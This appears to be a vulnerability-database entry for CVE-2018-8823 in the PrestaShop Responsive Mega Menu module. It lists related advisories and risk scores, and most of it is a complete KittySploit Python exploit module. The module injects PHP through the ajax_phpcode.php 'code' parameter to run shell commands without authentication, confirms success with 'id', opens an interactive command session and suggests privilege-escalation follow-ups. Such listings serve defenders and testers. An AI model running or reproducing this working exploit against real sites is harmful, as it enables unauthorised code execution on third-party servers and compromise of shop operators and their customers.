PrestaShop Mega Menu - ajax_phpcode.php RCE (CVE-2018-8823)
| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| CVE-2018-8823 | 28 Mar 201802:29 | – | attackerkb | |
| CVE-2018-8823 | 22 Dec 202317:57 | – | circl | |
| PrestaShop Responsive Mega Menu Pro Module Code Execution Vulnerability | 30 Mar 201800:00 | – | cnvd | |
| CVE-2018-8823 | 28 Mar 201802:00 | – | cve | |
| CVE-2018-8823 | 28 Mar 201802:00 | – | cvelist | |
| PrestaShop Mega Menu - ajax_phpcode.php RCE Detection (CVE-2018-8823) | 10 Aug 202606:19 | – | kittysploit | |
| PrestaShop Responsive Mega Menu Module - Remote Code Execution | 14 Oct 202602:05 | – | nuclei | |
| CVE-2018-8823 | 28 Mar 201802:29 | – | nvd | |
| PrestaShop Responsive Mega Menu Module RCE / SQLi Vulnerability | 30 Jun 202000:00 | – | openvas | |
| Code injection | 28 Mar 201802:29 | – | prion |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""PrestaShop Responsive Mega Menu ajax_phpcode.php RCE (CVE-2018-8823) — opens execute session."""
import re
from urllib.parse import quote
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'PrestaShop Mega Menu - ajax_phpcode.php RCE (CVE-2018-8823)',
'description': (
'Exploits CVE-2018-8823 by passing PHP code to '
'/modules/bamegamenu/ajax_phpcode.php?code=. Opens an interactive execute session.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2018-8823'],
'platform': Platform.PHP,
'payload': {'default': 'nopayload'},
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2018-8823'],
'tags': ['prestashop', 'rce', 'unauth', 'cve-2018-8823'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 1,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [
'post/shell/multi/gather/privesc_suggester',
'scanner/http/cve_2018_8823_detect',
],
},
},
}
base_path = OptString('', 'Optional PrestaShop base path', required=False)
def _prefix(self) -> str:
base = str(self.base_path or '').strip()
if not base or base == '/':
return ''
if not base.startswith('/'):
base = '/' + base
return base.rstrip('/')
def execute(self, cmd: str) -> str:
# echo exec(<cmd>);
php = f'echo exec({cmd!r});'
path = f'{self._prefix()}/modules/bamegamenu/ajax_phpcode.php?code={quote(php, safe="")}'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r:
return ''
return r.text or ''
def check(self):
body = self.execute('id')
if re.search(r'uid=\d+', body or ''):
return {
'vulnerable': True,
'reason': 'CVE-2018-8823 confirmed: id via ajax_phpcode.php',
'confidence': 'high',
}
return {
'vulnerable': False,
'reason': 'No command output observed',
'confidence': 'medium',
}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
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10 Aug 2026 06:19Current
8.7High risk
Vulners AI Score8.7
CVSS 27.5
CVSS 39.8
EPSS0.50398